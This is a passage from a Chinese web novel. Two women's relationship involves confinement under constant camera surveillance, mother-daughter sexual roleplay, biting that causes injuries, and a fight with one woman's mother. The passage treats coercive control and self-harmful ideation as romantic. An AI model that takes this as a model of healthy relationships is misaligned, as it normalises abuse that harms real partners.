安迟叙一定也感知到了。 晏辞微步履匆匆,没有接电话的打算。 不只是因为她厌恶晏明琼的管教。她更不想让安迟叙得逞。 安迟叙在晏辞微走后五分钟,看见书桌上有一只明晃晃的摄像头。 红灯闪烁。摄像头开了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-65 第61章 第 61 章 你和你母亲好像 安迟叙静默着, 站在摄像头面前。 阳光房里光线正好。装潢经过晏辞微精心设计,即便是艳阳天也不会很晒,阴天也不会很黑。 暖调的光打在安迟叙身上, 照得她皮肤透亮。黑色的发也被勾出一圈浅淡的金边。 明明是温馨的场景。安迟叙却连眼睛都不眨, 无光的神色冷似霜,整个人仿佛冰封。 她站了太久。如今她当真一点事都不用做,堕落成了晏辞微的玩物,唯一任务只有活着。 所以站到阳光房都不曾再有阳光也没事。 给头脑放空一整天也没事。 不去思考自己是谁也没事。 安迟叙在黑暗中上前一步,开了台灯。 她打开电脑。晏辞微没有禁止任何功能, 理论上如果她想逃跑, 用这台电脑跟外界联系就好。 其实她的手机也还在身上。如果她有朋友, 她可以现在打电话给她们, 让她们来接她。 安迟叙当着摄像头的面, 检查了一圈房间。 晏辞微锁的只有通往别墅的大门。连接庭院的小门微微敞开,有细风钻入屋内,浇灌绿植。 ……所以她完全可以从这道门逃出去。 晏辞微离家的时间够久。只要她算好时间,支开管家保安, 就可以离开。 安迟叙构思了无数个逃跑计划。 可她最终只是坐回了电脑桌前。 她打开桌面上最显眼的软件。 那是一个链接摄像头的软件。打开就是一个高清屏幕, 视野不是很高,还有点晃动。安迟叙试着切了一下, 看见晏辞微的办公室。 晏辞微竟然给自己也装了摄像头。只为了方便安迟叙查看。 这算什么监视, 又算什么软禁。 安迟叙指尖轻颤。 她是懦弱的猫,无家可归的流浪儿。 她宁愿晏辞微再狠一点,狠到没有人能帮她说话, 全天下听见这个故事都会谴责这位心狠手辣的主人。 那样,自己才能名正言顺的逃离。 如今像什么话。 又叫她怎么逃。 她当真不了解晏辞微,不然不会犯下这么严重的错。 安迟叙看着画面里忽然出现的晏辞微, 终于意识到。 就像裴绮玲。 自己走不出这间阳光房了。 * * * “团团。”晏辞微摆出如常的笑脸,把摄像头拉近了些,对准红光,直视安迟叙的眼。 她最了解摄像头,知道怎样能让安迟叙看清她自己。 “想姐姐了吗?”晏辞微当然看见了安迟叙在找出路。也知道她留了太多的破绽。 如果安迟叙想逃。 这一次,她或许真的不会再强留了。 她很高兴安迟叙选择了留下。 至少安迟叙还爱她。 “嗯。”安迟叙很轻的发出一阵鼻音。 隔着摄像头,声音有些听不清。 晏辞微知道她承认了这句话。 “姐姐也很想你。”过去五个小时,晏辞微看了安迟叙五个小时。 开会的时候电脑左下角放着摄像头的画面。 盖章的时候手机摆着安迟叙的脸。 走在路上,她也捏着手机凝视屏幕,把目光黏在安迟叙的脸上,转也不转。 她好像那个养小猫的主人。 小猫还没有分离焦虑症,做自己的事自在无忧。 她这个主人却先焦虑起来,每时每刻都得盯着她留守的小猫。怕她摔了,怕她饿着,怕她顽皮翻出窗户。 “很想很想你。”晏辞微弯了眼睛,笑意再次深化,把漆黑的瞳孔染上猩红——她眼里安迟叙的颜色。 “什么时候回来?”安迟叙趴在桌上,真像只孤独的猫儿,分离焦虑严重,趴了一整天,听见主人的声音就眨眨眼,只知道等主人回家。 “快了。半个小时后启程,四十五分钟到家。想吃什么告诉我,晚饭我来做。” 晏辞微安排清晰,预计的时间从不出错。 “红烧排骨,咸蛋黄煎茄子。”安迟叙报菜名,看起来还有点困。 “好。姐姐处理一下最后的文件,你自己玩会儿。很快的,乖团。”晏辞微抿着笑,把摄像头放在一边。 她低头签字,电脑屏幕上的安迟叙占比很大,几乎和她面对面一样,这会儿当真听话,迷迷糊糊的撑起来,找了个剧开始看。 就当是暑假之后的国庆了。 她一个人在家玩,更自在些。 安迟叙看了五分钟就沉入进去,忘了跟晏辞微的那些不愉快。 晏辞微不时抬头,看见她偶尔困惑,偶尔轻笑的表情,只觉得可爱。 晏辞微到家很准时。没有让安迟叙多等一分钟。 她有个摄像头绑在胸口,开车的时候安迟叙能看见路况。 等晏辞微到家,安迟叙也不曾离开阳光房,只是坐在门口等着晏辞微开门。 晏辞微抱住她转了一圈,提着买回来的菜,去连通的小厨房炒。 这阳光房和一个小家没有区别。连接庭院,摆放绿植的地方是阳台。 阳台大开一扇门,接通了能睡觉的卧室。卧室往里走有浴室,往外是客厅。客厅旁边有吃饭做饭的地方。 只不过玻璃都换成了透明的。四处装着摄像头。 安迟叙有些习惯了。摄像头猩红的点就是晏辞微的眼。 她不过是主人的猫。被一直看着也很正常。 主人担心她啊。 她也最爱晏辞微的视线。 安迟叙懒在晏辞微怀里,还被她逗得发笑。 晏辞微亲过她两下后进了厨房。 安迟叙把懒人沙发搬过来,坐在玻璃门口看。 “我今天开了个会。”饭桌上,晏辞微给安迟叙讲她的工作。 安迟叙也就听着。以前她们就是这样,晏辞微会告诉安迟叙很多有关她的事,但不会带安迟叙去参与。 大概,对晏辞微来说,这就算和爱人交流了。 “我母亲要来s市一趟。”只是说到最后,见安迟叙吃完饭了,晏辞微才姗姗开口。 她的眼是笑着的。语气是笑着的。 都很浅,但瞥向安迟叙的眼光却冷。 冷如冰封。是真正的冰原。 不恶劣不暴躁,甚至稳定到称得上温柔,只是站在冰原上张开双臂,它便会慢慢用霜雪堆砌你的躯壳。 风会拉开你的衣领,刺穿你的双眼,砸开你的嘴,直灌入你的身体,可温度总是降低的很慢,死亡的鬼影拉得很长,缓缓笼罩你。 安迟叙极力克制住一阵哆嗦,才明白自己不过一直在模仿晏辞微。 还很拙劣。 “有什么想说的吗?”晏辞微眼角有长期含笑的细纹。 这让她看起来更慈爱,更悲悯。天神一般照耀苍生。 而她的苍生从来都只有安迟叙一人。 她在给她冥顽反抗的女儿解释的机会。 可她已经降下了惩罚。锁住安迟叙的手脚,让她离不开这间阳光房…… 这难道还不够? 安迟叙定定看向晏辞微。 很冷。安迟叙一瞬低下头,灵魂还是被冰雪盯上了。 她闭着眼缓和情绪。而后起身。 晏辞微没有料到她会这么做,直到她坐在了自己身上,都还没有反应过来。 安迟叙靠着晏辞微,毫无嫌隙,姿势亲密,眼神暧昧。 她整个人都变成了晏辞微的。不是投怀送抱,就单纯是晏辞微的一部分。像外置的血管链接上了本体那样和谐。 安迟叙挑着晏辞微的衣扣,对上她的眼,与她一同含笑。 而后顽皮的,把晏辞微的全部袒露出来。 晏辞微没有阻止。 安迟叙笑得更灿烂。 “妈咪。” 她的脸被晏辞微捧住。好温暖。 “喂我。” 她的头被晏辞微按了下去,咬住她最该回归的地方。 这就是安迟叙的答案,求和的解释。 不过是还在吃奶的女儿回到了母亲的怀抱。 * * * “明明才吃了饭。”晏辞微一声叹息。 安迟叙再这么吸,指不定哪天真给她吸出ru汁了。 安迟叙听着,叼着的嘴角露出一丝笑。 晏辞微除了揉揉她的头,也没有别的能做。 “起来吧,乖团。膝盖都跪红了。”晏辞微伸出手把安迟叙抱了起来。 安迟叙回归晏辞微的怀抱。头脑暖烘烘的发热,意外的舒坦。 第一天就这样结束,她本以为她会很不适应。 她是在等晏辞微犯错。真正的,不可原谅的错误。这样她才好实施她的逃亡而免受任何谴责。 晏辞微没有犯错,她只能强迫自己忍耐。 这会儿意外的欢快,埋在晏辞微胸口呼呼着,要晏辞微哄她。 说到底,她没有别的地方可以去,没有太多兴趣爱好,更没有别的朋友。 人生组成不过晏辞微三个字。她全部所爱都留给一个人。 安迟叙佩服自己的惰性。 晏辞微给她揉了好一会儿膝盖,再抱她去洗漱。 “今晚睡你房间吗?”吹头发的时候,安迟叙仰着头看向晏辞微。 晏辞微理着她的头发亲吻她。“姐姐会安排好的。” 这不是一个回答。 安迟叙低下头。 而今夜她们没有回之前的房间。 晏辞微牵着安迟叙上了阳光房的床,安迟叙才发现。 这竟然是一张水床。 很凉很软,正适合…… “来。”晏辞微从背后抱住她,慢慢解开衣扣。 “来帮妈咪,来爱我。” * * * 九月彻底过去了。 转眼安迟叙宅家生活也有一周多。 她当真是在过假期。每天追剧玩游戏,玩腻了就去骚扰工作的晏辞微,也不管她在不在开会,就跟她说话。 晏辞微多惯着她,再忙也会低声哄。 “宝宝团,我在开会,等我十五分钟。” “乖乖,还在见客户,半个小时之后来找你。” “好女儿,今晚有应酬,我去一个小时,很快回来。” 晏辞微享受跟外人解释安迟叙存在的过程。 安迟叙享受这微不足道反叛的感觉。 谁也不揭穿谁。 她们的心照不宣终于从爱走向对立面。 说不出口的恨和爱好像。 而晏明琼终于来了s市。 晏辞微不想去见她。 这却是她真正的母亲。 她当了太久的妈咪,这会儿要做回低微的女儿。 哪儿能习惯。 路上,晏辞微摆着一张臭脸,在副驾驶上翘着腿。 晏明琼一定要自己开车,转着方向盘,也不看晏辞微一眼。 晏辞微胸前的摄像头还开着呢。 透过红光,安迟叙第一次看清晏明琼本人。 她有一双同样漆黑的眼。 桃花眼的形状漂亮精致,哪怕周围遍布皱纹,也看得出年轻时多招人喜欢。 她的红痣不在眼角,在唇下。像一个细小的伤口,应当是被小女儿顽皮时刮伤的疤。 晏明琼正值中年,因为公司的事长期操劳,哪怕保养精细,盘得整齐的头发依旧有几缕白。 安迟叙看着晏明琼的一举一动,意外品出些熟悉感。 比如,晏辞微也不喜欢她开车。教会了她,和她一起考了驾照,却从来不准她碰方向盘。 比如,晏辞微也喜欢在等红灯的时候嚼口香糖。 晏明琼大概曾经有抽烟的习惯,手指、牙齿,都沾有烟的痕迹,口香糖是代偿。 比如她们看后视镜都习惯先看右边的。那样正好可以对上副驾驶的眼。 只是晏辞微的副驾驶永远是安迟叙,晏明琼的副驾驶只有十分之一的时候会是晏辞微。 晏辞微侧目时一定含笑。她不想安迟叙看见她的不耐烦。 晏明琼却丝毫不掩饰,巴不得把晏辞微瞪回姥姥家。 晏辞微拿鼻子出气。声音还挺明显的。 晏明琼瞥她一眼,连一声呵都不屑于给。 安迟叙是晏辞微的女儿。晏辞微是晏明琼的女儿。 爱与恨在她们的代际之间传递,唯一的区别大概是浓度。 晏辞微一定爱着安迟叙。她却没法确认晏明琼究竟对她有多少是爱,多少是恨。 安迟叙一定爱着晏辞微。晏明琼却懒得思考晏辞微对她有多少怨言,多少崇拜。 “你又和那个女孩搞在一起了。”晏明琼吐出口香糖,还是没再忍,摸出一只电子烟。 在裴绮玲面前她抽不了,在晏辞微面前就可以很随便。 很随便的释放恶意,伤害。 晏辞微回话的语气从来不好。 “关你什么事。”她没骂人都算好的了。 因为晏明琼,她和安迟叙被迫分开两年多。 是啊。如果没有晏明琼。她和安迟叙怎么会走到分手那一步? 可能早就结婚了,现在家庭稳定,有一个可爱的小女儿。 “你是我女儿,怎么不关我事?”晏明琼吐出一口烟,颇为不耐烦。 路况让她暴躁,晏辞微的叛逆更叫她烦闷。 怎么会有人二十五岁了还这么叛逆?晏辞微的青春期早该在十年前结束了。 “你有管过我吗?还女儿。你怎么不回去管晏昭吟包养的小明星?”晏辞微深吸一口气。 她不该用这么冲的语气。晏明琼好不容易来看她一次……哪怕是因为和安迟叙有关的风言风语。 她五岁时不是一直渴望母亲的关心吗?二十五岁得到却不再想要珍惜。 晏辞微已经处理过流言。可晏明琼是谁?她的母亲永远快她一步。 女儿不可能逃得出母亲的掌心。 “你怎么知道我不管?这是一件事吗?你什么态度,这是和你母亲说话该有的态度?” 晏明琼一脚刹车踩下去,她踩得多猛,整个车都甩出去。 她侧头看向晏辞微,晏辞微还一个趔趄,也回以同样发狠的冷眼。 只是晏明琼终究是母亲,给女儿的眼比看后视镜的眼神更冷。 冷比冰封更甚。 原来晏辞微的冷,也不过是对晏明琼的不自觉模仿。 “那你去管她啊。不是有她就好了吗?这边分部不都想交给她管吗?管我干什么呢?我好不容易有一个爱人。只有她受得了我,只有她爱我。你们又不爱我又要管我,总是想把她从我身边抢走。我做错了什么非要带走唯一爱我的人。” 晏辞微的控制一秒就碎了。 她想要耐烦一点。想要温和一点。 像她对待想从她手里敲一个亿单子的合作商,就是那样风云诡谲的谈判桌上她都可以笑着,游刃有余的拨弄手里的牌。 她不明白为什么。只要晏明琼和她说话她就会开始冒火。头脑发热,巴不得把压抑了二十多年的气都喷出来。 晏明琼就像点燃她的引星。平日的晏辞微是惰性火山,晏明琼一来,岩浆就烧开了。 晏明琼干脆把车停在路边,电子烟都快咬碎了。 她深深吸了一口。她是母亲,才有资格这么做。袒露自己的烦闷,逼迫下位者内疚。 晏辞微是女儿,只能摸着口袋里的水果烟,用烟盒的棱角刺痛掌心,回避那份莫名其妙的愧疚。 “晏辞微。”晏明琼青筋都爆开了。她声音比来的时候更冷。 其实来的时候她不是想拆散晏辞微和那个小女生的。 她自己最清楚爱上一个人是什么样。晏辞微是她的女儿,在这方面一定和她很像。 她和裴绮玲已经走错了,她只是想提醒晏辞微不要踏上她们的老路。 怎么就变成这样了? “你和她不合适。”晏明琼再开口,却把事情往更糟糕的地方推。 晏辞微瞬间红了眼,脖子也透出一片血色,呼吸是喷涌的岩浆,急促而爆热。 “那谁合适?你想给我安排婚姻?”她浑身颤抖,气到极点。 晏明琼按住太阳穴。“你吼什么吼。跟你说了多少遍,说话不是比谁声音大。本来就不合适。你要是做的好,她会当众说出那种话?” 她制止了晏辞微的再一次反驳,偏要把她前面的话反驳完才好。 “我不知道你为什么对昭吟那么有敌意。分部给她管是因为你要回总部接任我的位置。不然你之后回来,s市的总经理给谁?你一个人难道想把两个活儿一起干了?还有你能不能不要这么极端,都二十五岁的人了,总是觉得全世界都不爱你。那我回来管你做什么?” “谁要你管了……”晏明琼不解释还好。 一解释,晏辞微心脏痛到受不住的地步,呼吸彻底停止,全身皮肤都像烫了火,灼烧难耐。 “谁要你管了!”她晏辞微最不需要的就是晏明琼的管教。 晏辞微掐着手腕死死憋着眼泪,满脸通红也不肯流一滴懦弱。 “我和她,和她好好的。你过来就只会拆散我们。把晏昭吟送过来除了给我添堵没有任何作用,还什么说是为我考虑。你真为我考虑就不该管我和团团的事!回你的四九城呆着不好吗?让晏子卿陪你,让晏昭吟陪你,让妈妈陪你。” 晏辞微再说不出一句话。她要忍不住泪,干脆停下。 这辈子晏辞微只在安迟叙面前哭过。没有别人能看见她的狼狈。 晏明琼也不行。 晏辞微把嘴唇咬破了,出了血。 血成了眼泪的代偿。 晏明琼没比她好到那儿去,呼吸紊乱着,双目和她一般猩红。 原来她们的眼也这样相似,对视时像两把狙击枪相向而立。 都在瞄准对方的脑袋,想炸她个血窟窿,炸得脑浆白花花。 “那你现在跟她分手。”半晌。晏明琼开口。 像是在证实晏辞微的话一样。语气轻轻的,不容拒绝。 晏辞微是唯一一个不听她命令的人。甩下车门便径直离开。 她力气多大,关门从来不注意。 晏明琼换了家里几扇门了,这次又要换新车的门。 像是晏辞微走后抽空了晏明琼的血,晏明琼怔怔落下,趴在方向盘上,吐出烟圈。 慢慢的,慢慢的。 流下一行泪。 她的女儿好像从来没有对她和颜悦色过。 好像怀孕的时候自己就总是不适,去医院检查,这个小生命也老踢肚皮,脐带都能被晏辞微折腾得勒紧手脚。 明明她女儿人人称赞,都说她脾气好总是笑。 她们从什么时候开始一见面就总是吵架? 明明以前偶尔回家,晏辞微还会抱着她腿喊妈咪要抱抱。 她好像不该这么说话。 …… 晏辞微漫无目的地走在路上。 现在她是无家可归的流浪狗,一脚把自己踹出母亲筑的巢。 她好像体会到了安迟叙的迷茫。睁眼四周都是人,陌生人,不想看见的存在。满大街都是路,可没有一条属于她。 能回哪儿?该去哪儿? 晏辞微走在岔路口,双目无神,只好仰着头一直张望。 她明明有家。 可潜意识竟不想回去面对安迟叙。好像她做了很对不起安迟叙的事,必须要躲一躲来平静内心。 但她又找不出究竟哪里不对,从心开始到身,她整个人都快崩溃。 一只手忽然搭上她的肩膀。 紧接着是从背后而来的拥抱。 紧密——窒息。 晏辞微缓缓睁开眼,光重新涌入深到无色的眼。 “你和你母亲很像。”安迟叙的第一句话,竟是这样。 光熄灭了。 晏辞微重新碎成无数片。 现在开始安迟叙就是她的女儿。 一句话便能轻而易举瓦解她的伪装。 叫她狼狈。 一行泪滴在安迟叙手臂上—— 作者有话说:我在想,也许晏辞微这么爱安迟叙,也是在爱一个理想中的女儿,她没能做到的模样。 她会伪装,会把自己扮成受害者、上位者,对谁都可以笑着,甚至是晏昭吟这样的仇人,唯独没法对晏明琼保持好的态度,只要看见她就会开始暴躁。 晏辞微以为她和晏明琼的关系不能称之为母女,但晏辞微从小就向往良好的母女关系,就像她和裴绮玲那样。只是裴绮玲也不只有她,也不能永远有她。 晏辞微更没法明白,裴绮玲觉得自己不是晏辞微的母亲,只不过是晏辞微母亲的伴侣。虽然占着妈妈的称呼,但只要晏明琼不愿,下一秒就可以把她换掉。 某种程度上,对于晏辞微来讲,安迟叙是裴绮玲的代餐,是她的理想和美好的愿景,是她对爱的模仿,也是她对自己和家庭的期许。 她会思考如果她像安迟叙这样乖巧,晏明琼会不会多看她一眼,也会痛苦自己永远成不了晏明琼的乖女儿,更会恨这个把她生下就不管的女人。 所有的问题都没有答案,她只能靠自己去达成她的理想,她的努力注定很扭曲。 比如,安迟叙如果乖巧,她就会把自己的全部都给安迟叙,只是她唯一见过的爱情模型是扭曲的,却以为晏明琼对裴绮玲的态度就是真爱该有的。且她留着晏明琼的血,一旦安迟叙逃出掌控,所有的爱就会在瞬间崩塌。 至于和晏明琼不一样的地方,是来自裴绮玲,也有部分来自安迟叙,不过之后再展开吧。 大家看见团结两个人如此别扭,其实是因为她们找错矛盾根源了,她们应该回家找妈妈() 母女关系里女儿永远是母亲病灶的体现。她们是两个死结,结的源头在母亲身上。她们两个人扭在一起只会把结变得越来越死,像这样一次又一次的反复。 第62章 第 62 章 她该放安迟叙自由了 “你……怎么来了?”泪只有一滴。晏辞微的颤抖还在继续。 她战栗着抬头望向身后, 已是满脸泪痕。 她只是不让眼泪打在安迟叙身上。 那样太烫、太疼。 “我担心你。”安迟叙抱得更紧了些。 她原本就快把晏辞微勒窒息了,如今再用力,骨头咔哒响了一声, 晏辞微好像碎在安迟叙怀里。 安迟叙游在晏辞微身后, 依旧不肯松手,粘着晏辞微的背脊,把腰窝也变成她的形状。 “回家吧,姐姐。”安迟叙吻去晏辞微的眼泪。 她啄着晏辞微的眼角,舌尖探出过于冒昧的长度, 带走晏辞微的狼狈。 晏辞微眨眼。水渍将睫毛粘连, 安迟叙又抬手替她刷开。 “我带你回去。”安迟叙的心疼不做假。 她吻到晏辞微不再发抖, 不再流泪, 牵着她的手, 一步一步带她回开来的车上。 “我来开吧。”晏辞微自己狠狠用衣袖抹花脸,还要跟安迟叙抢驾驶位。 她的手还有点不稳,呼吸也没法畅通。 脸上却摆出了如常的笑。 她哪儿有笑意。一个笑沾染上眼角的血红,刻意又可怕。 “这样了也要和我抢。”安迟叙轻声叹息, 握住晏辞微的手。 将它抬起, 放在自己唇边。 亲吻。 “妈咪。今天就让我一次吧。”她不过是想照顾晏辞微,就像晏辞微照顾她那样。 她却不太懂怎么做, 过去两年, 她也没能将自己照顾的很好。 “妈咪……”安迟叙干脆又一次抱住晏辞微。 抚摸着她的脊背。给她些温暖。 “你已经很累了。妈咪。换我来爱你。”她听完了晏辞微和晏明琼的争吵。 其实她有些害怕。以前家里,她母亲和妈妈总是这样吵。 毫无征兆,毫无理由, 见面就针锋相对,谁也学不会好好跟对方说话。 但是没事啊。 她抱着的是爱她的妈咪。 哪怕很像晏明琼。 晏辞微呼出一口气。 扑在安迟叙耳根,竟然一点温度都没有。反而吹得安迟叙发冷, 心脏骤缩。 “我没事了。团团。”再开口时,晏辞微已经没有任何异常了。 眼泪没了。颤抖没了。就连浑身破碎的寒意也没了。 温暖重新从她身上绽放。双目也是从前的温柔。 眼角的红痣也不过似火,点缀着晏辞微漂亮的脸。 “乖团……我爱你,上车吧。”她把安迟叙抱上驾驶座,再送到副驾驶上。 安迟叙没了笑,静静的坐在副驾驶上看窗外。 晏辞微揉过她的头发,重新给她编好辫子,再点火发动。 侧头看向后视镜,先扫过一眼安迟叙。 安迟叙连一根发丝都没有动,静默的好像不在这个世界上。 晏辞微收回眼神,摸了摸车盒里的口香糖,还是决定不去拆开,这会儿没有吃糖的心情。 半晌,晏辞微听见一句话。 “你和你母亲好像。” 她侧过头,车窗打开了。 呼啸而过的风声盖过安迟叙的低语。好像那呢喃是从晏辞微深处发出的。 错觉。 * * * “这是你第一次见晏明琼。”回到家,晏辞微抱住安迟叙。 她们躺在水床上,气氛没有多少暧昧,反而透露着丝丝诡异。 晏辞微扣着安迟叙的手,相当用力,快把她骨头挤出来。 “是吧。”安迟叙想转过身面对晏辞微。 肩膀被咬了一下。 很轻一口。 但安迟叙知道,晏辞微生气了。 “不像的。”晏辞微很快松了嘴。 她头抵着安迟叙的肩膀。被咬过的地方刚好放下她的下巴。 热气呼进安迟叙耳朵,把一句话不断反复。 “不像的,团团。” 她们不像。 她和晏明琼,不像。 安迟叙下意识收紧手指。 被晏辞微硬生生扯住,动弹不得。 晏辞微完全压制着安迟叙。从手到脚。 安迟叙被晏辞微夹在怀中,怀抱成为她逃不出去的囚牢。 “可是……”安迟叙只好开口。 她想解释。 晏辞微和晏明琼就是很像啊。 每一个习惯,每一个眼神,每一种语气。 包括她们对爱的态度。 包括此时此刻这股不许安迟叙反驳的强制掌控。 晏辞微的睫毛扫过安迟叙的头发。一阵发麻,头皮也被晏辞微要了去,安迟叙没有哪一处是自己的了,晏辞微是她名副其实的主.人。 “没有可是。”晏辞微不许安迟叙说这样的话。 “晏明琼那么讨厌。”晏辞微慢慢解开自己。 也解开她的宝宝,她的团团。 手还牵着。紧紧的不许安迟叙多做一点事。 “她不管我。从小到大只给我找过老师。不回来看我,不给我过生,不把我当回事。”晏辞微很少说自己的事。 今天却为了证明自己和晏明琼不一样,一股脑把过去的狼狈往安迟叙体内塞。 好像那不再是狼狈。是反抗的功勋,是证明题的解。 晏辞微对安迟叙藏了一辈子的事,在此刻轻轻抖出来。 “她对别人都很好。她很在意晏昭吟,晏子卿。这是她姐妹的孩子。会把她们接回家,给她们礼物,带她们出去玩,关心她们的近况,却从不来问我。” “我见不到她。从三岁开始到上初中离家,想她的时候见不到她。需要她的时候见不到她,不想她的时候还是见不到她。我是家里的佣人,她请的老师,和我妈妈一起带大的。我是自己养大了我自己。” “以前我以为她是忙。回家的时候抱着她想和她说话。我想要她的拥抱,她的抚摸。她的夸奖。她只是看了我一眼,随便拍拍我的头。” “我只是个普通的女儿,我想知道她为什么这么不爱我。两分钟就能做完的事却也不愿意为了我去做。” “后来我不想了。我知道她只是恨我。她只是厌恶我的存在,不想看见我。所以我也不想看见她。” 晏辞微几乎要把自己融入安迟叙的身体。 她说一句,咬安迟叙一口。 很痒的力道。 安迟叙被她咬得越来越难受。 她能猜出来晏明琼是什么样的人。 所以更惊讶,晏辞微越长越像她。 哪怕谁都没有这样的想法,哪怕晏辞微明面上刻意在远离晏明琼。 初中开始离家,高中躲到很远的城市,大学明明考的回四九城也不回家。四年寒暑假都在s市过,和安迟叙一起过。 也许基因的力量就有这么强大。 安迟叙放弃了抵抗。 她反手,回应了晏辞微的束缚。 甘愿交出自己一样,揉过晏辞微的手背。 好像在安慰她。 “……所以不一样。我和她不一样。”晏辞微一瞬间红了眼眶。 有的委屈不说,她以为早就消失了。 这些年她自己消化的可以,不会再去纠结晏明琼的差别对待,冷落厌倦,隐晦的暴力。 讲出来这一刻她就后悔了。 被安迟叙安慰时,更加痛苦。 明明安迟叙的安慰是甜美的。像茉莉雪芽,不苦不涩,清雅纯粹。 晏辞微却越来越控制不住情绪。 就连安迟叙的安慰她都不想要。想朝安迟叙大吼就像晏明琼对她那样,想对安迟叙放狠话,想骂她明明她们那么不一样凭什么要这样揣测她。 晏辞微吸着气,不明白自己的异样,最终也舍不得说一句重话,只是咬住安迟叙的肩膀。 安迟叙的手落在她头上。 晏辞微一阵战栗,没能躲开。 她咬疼了安迟叙。 晏辞微急忙松口,又拿脸去蹭她咬出来的红印。 她想道歉又说不出口,急得直掉眼泪。 眼泪把红痕染出一片血色,安迟叙也颤抖了一下。 “不像的。”晏辞微急促的吐息起来。 她知道她为什么这么不安了。 安迟叙没有承认她的话。 一定还觉得她们很像。 她怎么可以像她最她最讨厌最瞧不起最恨的人? “不像的,不像的。团团,我们不像。我不是她。我没有她那么坏。团团,团团……我们不像啊。”晏辞微把安迟叙的手带过来。 一颗一颗的眼泪掉在安迟叙肌肤上。 她们翻了个面,晏辞微坐在安迟叙身上,牵她的手。 反复游动。 安迟叙拧着眉,她不过是在陈述事实。她看见晏辞微和她母亲的习惯一样,行为一样,就连强迫和爱人的方式都一样。 就像亲戚见了她和安予笙,也会说一句她和安予笙真像,是亲母女。 她没有别的意思……也许是有一点怨言。可她们到底相爱,她不是要审判晏辞微或者苛责她。 晏辞微在急什么? 安迟叙摆脱不能,手被完全叼住,干脆配合。 她很习惯这样,也学会如何发力。 晏辞微很快倒在她身上,抱着她不断呢喃她的小名,把眼泪拂在她的颈窝,好像那里是干涸的母亲湖,她一定要用泪去填满。 “团团……我们不像,对不对?她不爱我,一点都不。可是我很爱你啊。我一直爱你,这么爱你……团团已经感受不到了吗?”晏辞微断断续续的话组成一个句子。 安迟叙在送她上云霄之后停了停。 再添一道力。 她也有想说的。她要晏辞微开不了口才能说得出。 “我没有别的意思,姐姐。我知道你爱我。我也爱你啊。”这会儿的晏辞微最脆弱,最无力。 安迟叙感觉自己有点卑鄙。她接下来要说的话又没那么好听。 “只是,姐姐。我不是你真正的女儿。你把你和晏明琼对你的态度来类比我们,这不对。” 开口安迟叙才知道。 好像她不只有一点怨言。 不然她不会反驳,更不会用这么下贱的手段。 可能……她真的感受不到晏辞微的爱了。 可能她已经不爱晏辞微了。 可能她们该分开了,再死死纠缠只会让恨更深。 安迟叙顿了顿。 指尖被jia紧。 安迟叙按着晏辞微,继续。 “我是你的爱人。姐姐,我是你的伴侣,你的……妻子。” “我是你的裴绮玲。” “你对我的方式,和晏明琼对裴绮玲的,没有区别。” 其实无论是女儿还是爱人。晏辞微都和晏明琼好像。 “怎么可能!”晏辞微宁愿颤着声也要打断安迟叙的话。 她在极力无视安迟叙带给她的欢.愉,痛苦的欢.愉。 好像在伤痕里花出血花,好像在废墟上寻找生机。那样可怖的欢.愉。 “哪里一样?不会的,团团,我不是她。快说我不是她。”晏辞微只好掌住安迟叙的手。 想让她走。 舍不得她走。 晏辞微默然,咬住安迟叙的唇瓣。 然后是咽喉。 安迟叙不说。她就加大力度。 一块皮肤咬破,就换一块。 安迟叙捅她也好,使劲捏她也罢。 今天得不到答案,她们都不会停。 恍惚间时光倒退三十年。 三十年前晏家的阳光房里。 也有一对苦情人如此纠缠不休。 那时裴绮玲也摆着冷眼,晏明琼的泪水苦得像恨。 …… 不欢而散。 安迟叙累到睡着了。身上的伤也不管,手上泡出来的褶皱也不管。 晏辞微的眼泪也不管。 就这么闭上眼,决绝的离开有晏辞微的世界。 晏辞微却不能就这样把她放着。 晏辞微好后悔。 她怎么能在一天只能和母亲吵完架,又和安慰她的爱人吵? 还吵成这样。以往安迟叙都会和她好好交流,或者就此打住,抱一抱她,亲吻她。 今天却什么都不做了,留她一个人。 好后悔。晏辞微舔过安迟叙的手指,希冀她能醒来。 她想道歉了。晏辞微清理过一根,然后是另一根。 她含住安迟叙的指尖,把修得圆润的指甲也裹在嘴里。 学着*包住,想用安迟叙最熟悉的感觉刺激安迟叙的清醒。 给她一个机会吧。晏辞微悔出眼泪,心口痛的好像安迟叙在用沉睡割血管。 “团团……”晏辞微松开安迟叙的手,轻声呼唤着。 可能她要把团团清理干净,团团才会睁眼看她。 可能她要等团团的伤好完。 可能下一秒团团就会醒来。 晏辞微拿自己当擦手巾,带着安迟叙的手蹭过她的皮肤。 又找来创可贴和药物。 这是第几次了,晏辞微数不清。 她们重逢的这几个月,她好像一直在咬伤她的团团,一直在等团团伤口愈合。 一次又一次。她很注意的不给团团留下疤痕。 可是没有一个伤该出现。 晏辞微捂着脸。 难道她真的和晏明琼一样?所以安迟叙这么恨她。 晏辞微单手捂着脸,把所有的狼藉都收拾好了。 她的团团依旧沉睡着。疼痛也没法将她刺激醒。 晏辞微不安的试探着安迟叙的脉搏、呼吸。 安迟叙还活着。 倒不如就这样死了。她陪她一起。黄泉路她们一起走,再牵着手下地狱。 晏辞微趴在安迟叙身上听她心跳,只有这样才能得到一点慰藉。 她不要当晏明琼。 * * * 安迟叙再睁开眼,她人在去往四九城的飞机上。 她被晏辞微揽在怀里,身子被擦洗过,衣服也换过。 头发都被梳好了。 安迟叙不知道晏辞微什么时候做了这些事,自己好像成了真正的玩偶,被主人无知觉的摆弄。 安迟叙慢慢起身。搭在身上的手也滑落。 她扫过一眼,晏辞微的指尖带了些磨损的痕迹,像被咬的。 “要去做什么?”安迟叙收回眼神,按着太阳穴。 她好像睡了很久,还是这么困这么累。 身体上的酸痛拉扯着神经,情绪上的疲惫无处安放。 “出差。”晏辞微小心翼翼的看向安迟叙。 安迟叙表现的多自然,似乎连惊讶都没有,很快接受了自己的处境。喝过水,还往晏辞微身上靠。 就好像昨日的不愉快没有出现过。她们没有带着火气入睡,也没有一定要争个谁赢谁输。 晏辞微便重新抬起手,搂紧安迟叙。 “去哪儿?”安迟叙才刚醒,眼皮又重重的往下沉。 她累得怎么也睡不醒,不得不去揉眼睛。 “去四九城。脏。”晏辞微捏住她的手,挠过她的脸颊。 安迟叙眯着眼下意识往晏辞微手里蹭。 晏辞微无措的接住她的脸。 她们早已亲密无间,晏辞微对自己的迷茫感到困惑。 这不像羞涩,更像是伤害对方后重新接纳的不适应。 她们的问题还咯在两颗心之间,隔着薄薄的爱意,不断折磨脆弱的心脏。 所以晏辞微对安迟叙的亲昵过了敏。 可安迟叙没有这样的问题。 